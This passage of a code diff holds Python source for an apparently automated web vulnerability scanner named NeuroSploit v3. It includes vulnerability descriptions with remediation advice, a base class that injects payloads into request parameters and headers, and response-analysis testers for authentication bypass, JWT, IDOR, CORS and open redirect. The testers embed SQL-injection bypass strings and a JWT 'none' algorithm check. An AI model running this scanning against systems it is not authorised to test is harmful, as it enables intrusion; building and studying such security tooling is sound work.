"remediation": "1. Avoid dynamic file inclusion\n2. Use whitelist of allowed files\n3. Validate and sanitize file paths\n4. Implement proper access controls"
|
||||
},
|
||||
"rfi": {
|
||||
"title": "Remote File Inclusion",
|
||||
"severity": "critical",
|
||||
"cwe_id": "CWE-98",
|
||||
"description": "Application includes remote files, allowing execution of attacker-controlled code.",
|
||||
"impact": "Direct remote code execution. Complete server compromise.",
|
||||
"remediation": "1. Disable allow_url_include in PHP\n2. Use whitelists for file inclusion\n3. Never use user input in include paths\n4. Implement strict input validation"
|
||||
},
|
||||
"path_traversal": {
|
||||
"title": "Path Traversal",
|
||||
"severity": "high",
|
||||
"cwe_id": "CWE-22",
|
||||
"description": "Application allows navigation outside intended directory through ../ sequences.",
|
||||
"impact": "Access to sensitive files outside web root, including configuration files and source code.",
|
||||
"remediation": "1. Validate and sanitize file paths\n2. Use basename() to strip directory components\n3. Implement chroot or containerization\n4. Use whitelist of allowed directories"
|
||||
},
|
||||
"xxe": {
|
||||
"title": "XML External Entity Injection",
|
||||
"severity": "high",
|
||||
"cwe_id": "CWE-611",
|
||||
"description": "XML parser processes external entity references, allowing file access or SSRF.",
|
||||
"impact": "Read local files, perform SSRF attacks, and potentially achieve denial of service.",
|
||||
"remediation": "1. Disable external entity processing\n2. Use JSON instead of XML where possible\n3. Validate and sanitize XML input\n4. Use updated XML parsers with secure defaults"
|
||||
},
|
||||
"file_upload": {
|
||||
"title": "Arbitrary File Upload",
|
||||
"severity": "high",
|
||||
"cwe_id": "CWE-434",
|
||||
"description": "Application allows uploading of dangerous file types that can be executed.",
|
||||
"impact": "Upload of web shells leading to remote code execution and complete server compromise.",
|
||||
"remediation": "1. Validate file type using magic bytes\n2. Rename uploaded files\n3. Store outside web root\n4. Disable execution in upload directory"
|
||||
},
|
||||
|
||||
# Request Forgery
|
||||
"ssrf": {
|
||||
"title": "Server-Side Request Forgery",
|
||||
"severity": "high",
|
||||
"cwe_id": "CWE-918",
|
||||
"description": "Application makes requests to attacker-specified URLs, accessing internal resources.",
|
||||
"impact": "Access to internal services, cloud metadata, and potential for pivoting to internal networks.",
|
||||
"remediation": "1. Implement URL whitelist\n2. Block requests to internal IPs\n3. Disable unnecessary URL schemes\n4. Use network segmentation"
|
||||
},
|
||||
"ssrf_cloud": {
|
||||
"title": "SSRF to Cloud Metadata",
|
||||
"severity": "critical",
|
||||
"cwe_id": "CWE-918",
|
||||
"description": "SSRF vulnerability allowing access to cloud provider metadata services.",
|
||||
"impact": "Credential theft, full cloud account compromise, lateral movement in cloud infrastructure.",
|
||||
"remediation": "1. Block requests to metadata IPs\n2. Use IMDSv2 (AWS) or equivalent\n3. Implement strict URL validation\n4. Use firewall rules for metadata endpoints"
|
||||
},
|
||||
"csrf": {
|
||||
"title": "Cross-Site Request Forgery",
|
||||
"severity": "medium",
|
||||
"cwe_id": "CWE-352",
|
||||
"description": "Application allows state-changing requests without proper origin validation.",
|
||||
"impact": "Attacker can perform actions as authenticated users, including transfers, password changes, or data modification.",
|
||||
"remediation": "1. Implement anti-CSRF tokens\n2. Verify Origin/Referer headers\n3. Use SameSite cookie attribute\n4. Require re-authentication for sensitive actions"
|
||||
},
|
||||
|
||||
# Authentication
|
||||
"auth_bypass": {
|
||||
"title": "Authentication Bypass",
|
||||
"severity": "critical",
|
||||
"cwe_id": "CWE-287",
|
||||
"description": "Authentication mechanisms can be bypassed through various techniques.",
|
||||
"impact": "Complete unauthorized access to user accounts and protected resources.",
|
||||
"remediation": "1. Implement proper authentication checks on all routes\n2. Use proven authentication frameworks\n3. Implement account lockout\n4. Use MFA for sensitive accounts"
|
||||
},
|
||||
"jwt_manipulation": {
|
||||
"title": "JWT Token Manipulation",
|
||||
"severity": "high",
|
||||
"cwe_id": "CWE-347",
|
||||
"description": "JWT implementation vulnerabilities allowing token forgery or manipulation.",
|
||||
"impact": "Authentication bypass, privilege escalation, and identity impersonation.",
|
||||
"remediation": "1. Always verify JWT signatures\n2. Use strong signing algorithms (RS256)\n3. Validate all claims including exp and iss\n4. Implement token refresh mechanisms"
|
||||
},
|
||||
"session_fixation": {
|
||||
"title": "Session Fixation",
|
||||
"severity": "medium",
|
||||
"cwe_id": "CWE-384",
|
||||
"description": "Application accepts session tokens from URL parameters or doesn't regenerate after login.",
|
||||
"impact": "Attacker can hijack user sessions by fixing known session IDs.",
|
||||
"remediation": "1. Regenerate session ID after login\n2. Only accept session from cookies\n3. Implement secure session management\n4. Use short session timeouts"
|
||||
},
|
||||
|
||||
# Authorization
|
||||
"idor": {
|
||||
"title": "Insecure Direct Object Reference",
|
||||
"severity": "high",
|
||||
"cwe_id": "CWE-639",
|
||||
"description": "Application exposes internal object IDs without proper authorization checks.",
|
||||
"impact": "Unauthorized access to other users' data, potentially exposing sensitive information.",
|
||||
"remediation": "1. Implement proper authorization checks\n2. Use indirect references or UUIDs\n3. Validate user ownership of resources\n4. Implement access control lists"
|
||||
},
|
||||
"bola": {
|
||||
"title": "Broken Object Level Authorization",
|
||||
"severity": "high",
|
||||
"cwe_id": "CWE-639",
|
||||
"description": "API endpoints don't properly validate object-level permissions.",
|
||||
"impact": "Access to any object by manipulating IDs, leading to mass data exposure.",
|
||||
"remediation": "1. Implement object-level authorization\n2. Validate permissions on every request\n3. Use authorization middleware\n4. Log and monitor access patterns"
|
||||
},
|
||||
"privilege_escalation": {
|
||||
"title": "Privilege Escalation",
|
||||
"severity": "critical",
|
||||
"cwe_id": "CWE-269",
|
||||
"description": "User can elevate privileges to access higher-level functionality.",
|
||||
"impact": "User can gain admin access, access to all data, and full system control.",
|
||||
"remediation": "1. Implement role-based access control\n2. Validate roles on every request\n3. Use principle of least privilege\n4. Monitor for privilege escalation attempts"
|
||||
},
|
||||
|
||||
# Client-side
|
||||
"cors_misconfig": {
|
||||
"title": "CORS Misconfiguration",
|
||||
"severity": "medium",
|
||||
"cwe_id": "CWE-942",
|
||||
"description": "Overly permissive CORS policy allows cross-origin requests from untrusted domains.",
|
||||
"impact": "Cross-origin data theft and unauthorized API access from malicious websites.",
|
||||
"remediation": "1. Implement strict origin whitelist\n2. Avoid Access-Control-Allow-Origin: *\n3. Validate Origin header server-side\n4. Don't reflect Origin without validation"
|
||||
},
|
||||
"clickjacking": {
|
||||
"title": "Clickjacking",
|
||||
"severity": "medium",
|
||||
"cwe_id": "CWE-1021",
|
||||
"description": "Application can be framed by malicious pages, tricking users into clicking hidden elements.",
|
||||
"impact": "Users can be tricked into performing unintended actions like transfers or permission grants.",
|
||||
"remediation": "1. Set X-Frame-Options: DENY\n2. Implement frame-ancestors CSP directive\n3. Use JavaScript frame-busting as backup\n4. Require confirmation for sensitive actions"
|
||||
},
|
||||
"open_redirect": {
|
||||
"title": "Open Redirect",
|
||||
"severity": "low",
|
||||
"cwe_id": "CWE-601",
|
||||
"description": "Application redirects to user-specified URLs without validation.",
|
||||
"impact": "Phishing attacks using trusted domain, credential theft, and reputation damage.",
|
||||
"remediation": "1. Use whitelist for redirect destinations\n2. Validate redirect URLs server-side\n3. Don't use user input directly in redirects\n4. Warn users before redirecting externally"
|
||||
},
|
||||
|
||||
# Infrastructure
|
||||
"security_headers": {
|
||||
"title": "Missing Security Headers",
|
||||
"severity": "low",
|
||||
"cwe_id": "CWE-693",
|
||||
"description": "Application doesn't set important security headers like CSP, HSTS, X-Frame-Options.",
|
||||
"impact": "Increased risk of XSS, clickjacking, and MITM attacks.",
|
||||
"remediation": "1. Implement Content-Security-Policy\n2. Enable Strict-Transport-Security\n3. Set X-Frame-Options and X-Content-Type-Options\n4. Configure Referrer-Policy"
|
||||
},
|
||||
"ssl_issues": {
|
||||
"title": "SSL/TLS Configuration Issues",
|
||||
"severity": "medium",
|
||||
"cwe_id": "CWE-326",
|
||||
"description": "Weak SSL/TLS configuration including outdated protocols or weak ciphers.",
|
||||
"impact": "Traffic interception, credential theft, and man-in-the-middle attacks.",
|
||||
"remediation": "1. Disable SSLv3, TLS 1.0, TLS 1.1\n2. Use strong cipher suites only\n3. Enable HSTS with preload\n4. Implement certificate pinning for mobile apps"
|
||||
},
|
||||
"http_methods": {
|
||||
"title": "Dangerous HTTP Methods Enabled",
|
||||
"severity": "low",
|
||||
"cwe_id": "CWE-749",
|
||||
"description": "Server allows potentially dangerous HTTP methods like TRACE, PUT, DELETE without proper restrictions.",
|
||||
"impact": "Potential for XST attacks, unauthorized file uploads, or resource manipulation.",
|
||||
"remediation": "1. Disable unnecessary HTTP methods\n2. Configure web server to reject TRACE/TRACK\n3. Implement proper authorization for PUT/DELETE\n4. Use web application firewall"
|
||||
},
|
||||
|
||||
# Logic
|
||||
"race_condition": {
|
||||
"title": "Race Condition",
|
||||
"severity": "medium",
|
||||
"cwe_id": "CWE-362",
|
||||
"description": "Application has race conditions that can be exploited through concurrent requests.",
|
||||
"impact": "Double-spending, bypassing limits, or corrupting data through timing attacks.",
|
||||
"remediation": "1. Implement proper locking mechanisms\n2. Use atomic database operations\n3. Implement idempotency keys\n4. Add proper synchronization"
|
||||
},
|
||||
"business_logic": {
|
||||
"title": "Business Logic Vulnerability",
|
||||
"severity": "varies",
|
||||
"cwe_id": "CWE-840",
|
||||
"description": "Flaw in application's business logic allowing unintended behavior.",
|
||||
"impact": "Varies based on specific flaw - could range from minor to critical impact.",
|
||||
"remediation": "1. Review business logic flows\n2. Implement comprehensive validation\n3. Add server-side checks for all rules\n4. Test edge cases and negative scenarios"
|
||||
}
|
||||
}
|
||||
|
||||
# Tester class mappings
|
||||
TESTER_CLASSES = {
|
||||
"xss_reflected": XSSReflectedTester,
|
||||
"xss_stored": XSSStoredTester,
|
||||
"xss_dom": XSSDomTester,
|
||||
"sqli_error": SQLiErrorTester,
|
||||
"sqli_union": SQLiUnionTester,
|
||||
"sqli_blind": SQLiBlindTester,
|
||||
"sqli_time": SQLiTimeTester,
|
||||
"command_injection": CommandInjectionTester,
|
||||
"ssti": SSTITester,
|
||||
"nosql_injection": NoSQLInjectionTester,
|
||||
"lfi": LFITester,
|
||||
"rfi": RFITester,
|
||||
"path_traversal": PathTraversalTester,
|
||||
"xxe": XXETester,
|
||||
"file_upload": FileUploadTester,
|
||||
"ssrf": SSRFTester,
|
||||
"ssrf_cloud": SSRFTester, # Same tester, different payloads
|
||||
"csrf": CSRFTester,
|
||||
"auth_bypass": AuthBypassTester,
|
||||
"jwt_manipulation": JWTManipulationTester,
|
||||
"session_fixation": SessionFixationTester,
|
||||
"idor": IDORTester,
|
||||
"bola": BOLATester,
|
||||
"privilege_escalation": PrivilegeEscalationTester,
|
||||
"cors_misconfig": CORSTester,
|
||||
"clickjacking": ClickjackingTester,
|
||||
"open_redirect": OpenRedirectTester,
|
||||
"security_headers": SecurityHeadersTester,
|
||||
"ssl_issues": SSLTester,
|
||||
"http_methods": HTTPMethodsTester,
|
||||
}
|
||||
|
||||
def __init__(self):
|
||||
self._tester_cache = {}
|
||||
|
||||
def get_tester(self, vuln_type: str) -> BaseTester:
|
||||
"""Get tester instance for a vulnerability type"""
|
||||
if vuln_type in self._tester_cache:
|
||||
return self._tester_cache[vuln_type]
|
||||
|
||||
tester_class = self.TESTER_CLASSES.get(vuln_type, BaseTester)
|
||||
tester = tester_class()
|
||||
self._tester_cache[vuln_type] = tester
|
||||
return tester
|
||||
|
||||
def get_severity(self, vuln_type: str) -> str:
|
||||
"""Get severity for a vulnerability type"""
|
||||
info = self.VULNERABILITY_INFO.get(vuln_type, {})
|
||||
return info.get("severity", "medium")
|
||||
|
||||
def get_cwe_id(self, vuln_type: str) -> str:
|
||||
"""Get CWE ID for a vulnerability type"""
|
||||
info = self.VULNERABILITY_INFO.get(vuln_type, {})
|
||||
return info.get("cwe_id", "")
|
||||
|
||||
def get_title(self, vuln_type: str) -> str:
|
||||
"""Get title for a vulnerability type"""
|
||||
info = self.VULNERABILITY_INFO.get(vuln_type, {})
|
||||
return info.get("title", vuln_type.replace("_", " ").title())
|
||||
|
||||
def get_description(self, vuln_type: str) -> str:
|
||||
"""Get description for a vulnerability type"""
|
||||
info = self.VULNERABILITY_INFO.get(vuln_type, {})
|
||||
return info.get("description", "")
|
||||
|
||||
def get_impact(self, vuln_type: str) -> str:
|
||||
"""Get impact for a vulnerability type"""
|
||||
info = self.VULNERABILITY_INFO.get(vuln_type, {})
|
||||
return info.get("impact", "")
|
||||
|
||||
def get_remediation(self, vuln_type: str) -> str:
|
||||
"""Get remediation advice for a vulnerability type"""
|
||||
info = self.VULNERABILITY_INFO.get(vuln_type, {})
|
||||
return info.get("remediation", "")
|
||||
@@ -0,0 +1,3 @@
|
||||
from backend.core.vuln_engine.testers.base_tester import BaseTester
|
||||
|
||||
__all__ = ["BaseTester"]
|
||||
@@ -0,0 +1,124 @@
|
||||
"""
|
||||
NeuroSploit v3 - Authentication Vulnerability Testers
|
||||
|
||||
Testers for Auth Bypass, JWT, Session Fixation
|
||||
"""
|
||||
import re
|
||||
import base64
|
||||
import json
|
||||
from typing import Tuple, Dict, Optional
|
||||
from backend.core.vuln_engine.testers.base_tester import BaseTester
|
||||
|
||||
|
||||
class AuthBypassTester(BaseTester):
|
||||
"""Tester for Authentication Bypass"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "auth_bypass"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for authentication bypass"""
|
||||
# Check for successful auth indicators after bypass payload
|
||||
auth_success = [
|
||||
"welcome", "dashboard", "logged in", "authenticated",
|
||||
"success", "admin", "profile"
|
||||
]
|
||||
|
||||
if response_status == 200:
|
||||
body_lower = response_body.lower()
|
||||
for indicator in auth_success:
|
||||
if indicator in body_lower:
|
||||
# Check if this was with a bypass payload
|
||||
bypass_indicators = ["' or '1'='1", "admin'--", "' or 1=1"]
|
||||
if any(bp in payload.lower() for bp in bypass_indicators):
|
||||
return True, 0.8, f"Auth bypass possible: '{indicator}' found after injection"
|
||||
|
||||
# Check for redirect to authenticated area
|
||||
location = response_headers.get("Location", "")
|
||||
if response_status in [301, 302]:
|
||||
if "dashboard" in location or "admin" in location or "home" in location:
|
||||
return True, 0.7, f"Auth bypass: Redirect to {location}"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class JWTManipulationTester(BaseTester):
|
||||
"""Tester for JWT Token Manipulation"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "jwt_manipulation"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for JWT manipulation vulnerabilities"""
|
||||
# Check if manipulated JWT was accepted
|
||||
if response_status == 200:
|
||||
# Algorithm none attack
|
||||
if '"alg":"none"' in payload or '"alg": "none"' in payload:
|
||||
return True, 0.9, "JWT 'none' algorithm accepted"
|
||||
|
||||
# Check for elevated privileges response
|
||||
elevated_indicators = ["admin", "administrator", "role.*admin"]
|
||||
for pattern in elevated_indicators:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.8, "JWT manipulation: Elevated privileges detected"
|
||||
|
||||
# Check for JWT-specific errors
|
||||
jwt_errors = [
|
||||
r"invalid.*token", r"jwt.*expired", r"signature.*invalid",
|
||||
r"token.*malformed", r"unauthorized"
|
||||
]
|
||||
for pattern in jwt_errors:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
# Error means it's checking - note for further testing
|
||||
return False, 0.0, None
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class SessionFixationTester(BaseTester):
|
||||
"""Tester for Session Fixation"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "session_fixation"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for session fixation vulnerability"""
|
||||
# Check Set-Cookie header
|
||||
set_cookie = response_headers.get("Set-Cookie", "")
|
||||
|
||||
# If session ID in URL was accepted
|
||||
if "JSESSIONID=" in payload or "PHPSESSID=" in payload:
|
||||
if response_status == 200:
|
||||
# Check if session was NOT regenerated
|
||||
if not set_cookie or "JSESSIONID" not in set_cookie:
|
||||
return True, 0.7, "Session ID from URL accepted without regeneration"
|
||||
|
||||
# Check for session in URL
|
||||
if re.search(r'[?&](?:session|sid|PHPSESSID|JSESSIONID)=', response_body):
|
||||
return True, 0.6, "Session ID exposed in URL"
|
||||
|
||||
return False, 0.0, None
|
||||
@@ -0,0 +1,130 @@
|
||||
"""
|
||||
NeuroSploit v3 - Authorization Vulnerability Testers
|
||||
|
||||
Testers for IDOR, BOLA, Privilege Escalation
|
||||
"""
|
||||
import re
|
||||
from typing import Tuple, Dict, Optional
|
||||
from backend.core.vuln_engine.testers.base_tester import BaseTester
|
||||
|
||||
|
||||
class IDORTester(BaseTester):
|
||||
"""Tester for Insecure Direct Object Reference"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "idor"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for IDOR vulnerability"""
|
||||
# Check if we got data for a different ID
|
||||
if response_status == 200:
|
||||
# Look for user data indicators
|
||||
user_data_patterns = [
|
||||
r'"user_?id"\s*:\s*\d+',
|
||||
r'"email"\s*:\s*"[^"]+"',
|
||||
r'"name"\s*:\s*"[^"]+"',
|
||||
r'"account"\s*:',
|
||||
r'"profile"\s*:'
|
||||
]
|
||||
|
||||
for pattern in user_data_patterns:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
# Check if ID in payload differs from context user
|
||||
if "original_id" in context:
|
||||
if context["original_id"] not in payload:
|
||||
return True, 0.8, f"IDOR: Accessed different user's data"
|
||||
|
||||
# Generic data access check
|
||||
if len(response_body) > 50:
|
||||
return True, 0.6, "IDOR: Response contains data - verify authorization"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class BOLATester(BaseTester):
|
||||
"""Tester for Broken Object Level Authorization"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "bola"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for BOLA in APIs"""
|
||||
# BOLA in REST APIs
|
||||
if response_status == 200:
|
||||
# Check for successful data access
|
||||
data_indicators = [
|
||||
r'"data"\s*:\s*\{',
|
||||
r'"items"\s*:\s*\[',
|
||||
r'"result"\s*:\s*\{',
|
||||
r'"id"\s*:\s*\d+'
|
||||
]
|
||||
|
||||
for pattern in data_indicators:
|
||||
if re.search(pattern, response_body):
|
||||
return True, 0.7, "BOLA: API returned object data - verify authorization"
|
||||
|
||||
# Check for enumeration possibilities
|
||||
if response_status in [200, 404]:
|
||||
# Different status for valid vs invalid IDs indicates BOLA risk
|
||||
return True, 0.5, "BOLA: Different responses for IDs - enumeration possible"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class PrivilegeEscalationTester(BaseTester):
|
||||
"""Tester for Privilege Escalation"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "privilege_escalation"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for privilege escalation"""
|
||||
if response_status == 200:
|
||||
# Check for admin/elevated access indicators
|
||||
elevated_access = [
|
||||
r'"role"\s*:\s*"admin"',
|
||||
r'"is_?admin"\s*:\s*true',
|
||||
r'"admin"\s*:\s*true',
|
||||
r'"privilege"\s*:\s*"(?:admin|root|superuser)"',
|
||||
r'"permissions"\s*:\s*\[.*"admin".*\]'
|
||||
]
|
||||
|
||||
for pattern in elevated_access:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.9, f"Privilege escalation: Elevated role in response"
|
||||
|
||||
# Check for admin functionality access
|
||||
admin_functions = [
|
||||
"user management", "delete user", "admin panel",
|
||||
"system settings", "all users", "user list"
|
||||
]
|
||||
body_lower = response_body.lower()
|
||||
for func in admin_functions:
|
||||
if func in body_lower:
|
||||
return True, 0.7, f"Privilege escalation: Admin functionality '{func}' accessible"
|
||||
|
||||
return False, 0.0, None
|
||||
@@ -0,0 +1,107 @@
|
||||
"""
|
||||
NeuroSploit v3 - Base Vulnerability Tester
|
||||
|
||||
Base class for all vulnerability testers.
|
||||
"""
|
||||
from typing import Tuple, Dict, List, Optional, Any
|
||||
from urllib.parse import urlparse, urlencode, parse_qs, urlunparse
|
||||
|
||||
|
||||
class BaseTester:
|
||||
"""Base class for vulnerability testers"""
|
||||
|
||||
def __init__(self):
|
||||
self.name = "base"
|
||||
|
||||
def build_request(
|
||||
self,
|
||||
endpoint,
|
||||
payload: str
|
||||
) -> Tuple[str, Dict, Dict, Optional[str]]:
|
||||
"""
|
||||
Build a test request with the payload.
|
||||
|
||||
Returns:
|
||||
Tuple of (url, params, headers, body)
|
||||
"""
|
||||
url = endpoint.url
|
||||
params = {}
|
||||
headers = {"User-Agent": "NeuroSploit/3.0"}
|
||||
body = None
|
||||
|
||||
# Inject payload into parameters if endpoint has them
|
||||
if endpoint.parameters:
|
||||
for param in endpoint.parameters:
|
||||
param_name = param.get("name", param) if isinstance(param, dict) else param
|
||||
params[param_name] = payload
|
||||
else:
|
||||
# Try to inject into URL query string
|
||||
parsed = urlparse(url)
|
||||
if parsed.query:
|
||||
query_params = parse_qs(parsed.query)
|
||||
for key in query_params:
|
||||
query_params[key] = [payload]
|
||||
new_query = urlencode(query_params, doseq=True)
|
||||
url = urlunparse(parsed._replace(query=new_query))
|
||||
else:
|
||||
# Add as query parameter
|
||||
params["test"] = payload
|
||||
|
||||
return url, params, headers, body
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""
|
||||
Analyze response to determine if vulnerable.
|
||||
|
||||
Returns:
|
||||
Tuple of (is_vulnerable, confidence, evidence)
|
||||
"""
|
||||
return False, 0.0, None
|
||||
|
||||
def check_timeout_vulnerability(self, vuln_type: str) -> bool:
|
||||
"""Check if timeout indicates vulnerability for this type"""
|
||||
return False
|
||||
|
||||
def get_injection_points(self, endpoint) -> List[Dict]:
|
||||
"""Get all injection points for an endpoint"""
|
||||
points = []
|
||||
|
||||
# URL parameters
|
||||
if endpoint.parameters:
|
||||
for param in endpoint.parameters:
|
||||
param_name = param.get("name", param) if isinstance(param, dict) else param
|
||||
points.append({
|
||||
"type": "parameter",
|
||||
"name": param_name,
|
||||
"location": "query"
|
||||
})
|
||||
|
||||
# Parse URL for query params
|
||||
parsed = urlparse(endpoint.url)
|
||||
if parsed.query:
|
||||
query_params = parse_qs(parsed.query)
|
||||
for key in query_params:
|
||||
if not any(p.get("name") == key for p in points):
|
||||
points.append({
|
||||
"type": "parameter",
|
||||
"name": key,
|
||||
"location": "query"
|
||||
})
|
||||
|
||||
# Headers that might be injectable
|
||||
injectable_headers = ["User-Agent", "Referer", "X-Forwarded-For", "Cookie"]
|
||||
for header in injectable_headers:
|
||||
points.append({
|
||||
"type": "header",
|
||||
"name": header,
|
||||
"location": "header"
|
||||
})
|
||||
|
||||
return points
|
||||
@@ -0,0 +1,150 @@
|
||||
"""
|
||||
NeuroSploit v3 - Client-Side Vulnerability Testers
|
||||
|
||||
Testers for CORS, Clickjacking, Open Redirect
|
||||
"""
|
||||
import re
|
||||
from typing import Tuple, Dict, Optional
|
||||
from backend.core.vuln_engine.testers.base_tester import BaseTester
|
||||
|
||||
|
||||
class CORSTester(BaseTester):
|
||||
"""Tester for CORS Misconfiguration"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "cors_misconfig"
|
||||
|
||||
def build_request(self, endpoint, payload: str) -> Tuple[str, Dict, Dict, Optional[str]]:
|
||||
"""Build CORS test request with Origin header"""
|
||||
headers = {
|
||||
"User-Agent": "NeuroSploit/3.0",
|
||||
"Origin": payload # payload is the test origin
|
||||
}
|
||||
return endpoint.url, {}, headers, None
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for CORS misconfiguration"""
|
||||
acao = response_headers.get("Access-Control-Allow-Origin", "")
|
||||
acac = response_headers.get("Access-Control-Allow-Credentials", "")
|
||||
|
||||
# Wildcard with credentials
|
||||
if acao == "*" and acac.lower() == "true":
|
||||
return True, 0.95, "CORS: Wildcard origin with credentials allowed"
|
||||
|
||||
# Origin reflection
|
||||
if acao == payload:
|
||||
if acac.lower() == "true":
|
||||
return True, 0.9, f"CORS: Arbitrary origin '{payload}' reflected with credentials"
|
||||
return True, 0.7, f"CORS: Arbitrary origin '{payload}' reflected"
|
||||
|
||||
# Wildcard (without credentials still risky)
|
||||
if acao == "*":
|
||||
return True, 0.5, "CORS: Wildcard origin allowed"
|
||||
|
||||
# Null origin accepted
|
||||
if acao == "null":
|
||||
return True, 0.8, "CORS: Null origin accepted"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class ClickjackingTester(BaseTester):
|
||||
"""Tester for Clickjacking vulnerability"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "clickjacking"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for clickjacking protection"""
|
||||
# Check X-Frame-Options
|
||||
xfo = response_headers.get("X-Frame-Options", "").upper()
|
||||
|
||||
# Check CSP frame-ancestors
|
||||
csp = response_headers.get("Content-Security-Policy", "")
|
||||
has_frame_ancestors = "frame-ancestors" in csp.lower()
|
||||
|
||||
if not xfo and not has_frame_ancestors:
|
||||
return True, 0.8, "Clickjacking: No X-Frame-Options or frame-ancestors CSP"
|
||||
|
||||
if xfo and xfo not in ["DENY", "SAMEORIGIN"]:
|
||||
return True, 0.7, f"Clickjacking: Weak X-Frame-Options: {xfo}"
|
||||
|
||||
# Check for JS frame busting that can be bypassed
|
||||
frame_busters = [
|
||||
r"if\s*\(\s*top\s*[!=]=",
|
||||
r"if\s*\(\s*self\s*[!=]=\s*top",
|
||||
r"if\s*\(\s*parent\s*[!=]="
|
||||
]
|
||||
for pattern in frame_busters:
|
||||
if re.search(pattern, response_body):
|
||||
if not xfo and not has_frame_ancestors:
|
||||
return True, 0.6, "Clickjacking: Only JS frame-busting (bypassable)"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class OpenRedirectTester(BaseTester):
|
||||
"""Tester for Open Redirect vulnerability"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "open_redirect"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for open redirect"""
|
||||
# Check redirect status and Location header
|
||||
if response_status in [301, 302, 303, 307, 308]:
|
||||
location = response_headers.get("Location", "")
|
||||
|
||||
# Check if our payload URL is in Location
|
||||
if payload in location:
|
||||
return True, 0.9, f"Open redirect: Redirecting to {location}"
|
||||
|
||||
# Check for partial match (domain)
|
||||
if "evil.com" in payload and "evil.com" in location:
|
||||
return True, 0.9, "Open redirect: External domain in redirect"
|
||||
|
||||
# Check for meta refresh redirect
|
||||
meta_refresh = re.search(
|
||||
r'<meta[^>]+http-equiv=["\']?refresh["\']?[^>]+content=["\']?\d+;\s*url=([^"\'>\s]+)',
|
||||
response_body, re.IGNORECASE
|
||||
)
|
||||
if meta_refresh:
|
||||
redirect_url = meta_refresh.group(1)
|
||||
if payload in redirect_url:
|
||||
return True, 0.8, f"Open redirect via meta refresh: {redirect_url}"
|
||||
|
||||
# Check for JavaScript redirect
|
||||
js_redirects = [
|
||||
rf'location\.href\s*=\s*["\']?{re.escape(payload)}',
|
||||
rf'location\.assign\s*\(["\']?{re.escape(payload)}',
|
||||
rf'location\.replace\s*\(["\']?{re.escape(payload)}'
|
||||
]
|
||||
for pattern in js_redirects:
|
||||
if re.search(pattern, response_body):
|
||||
return True, 0.7, "Open redirect via JavaScript"
|
||||
|
||||
return False, 0.0, None
|
||||
@@ -0,0 +1,203 @@
|
||||
"""
|
||||
NeuroSploit v3 - File Access Vulnerability Testers
|
||||
|
||||
Testers for LFI, RFI, Path Traversal, XXE, File Upload
|
||||
"""
|
||||
import re
|
||||
from typing import Tuple, Dict, Optional
|
||||
from backend.core.vuln_engine.testers.base_tester import BaseTester
|
||||
|
||||
|
||||
class LFITester(BaseTester):
|
||||
"""Tester for Local File Inclusion"""
|
||||
|
||||
def __init__(self):
|
||||
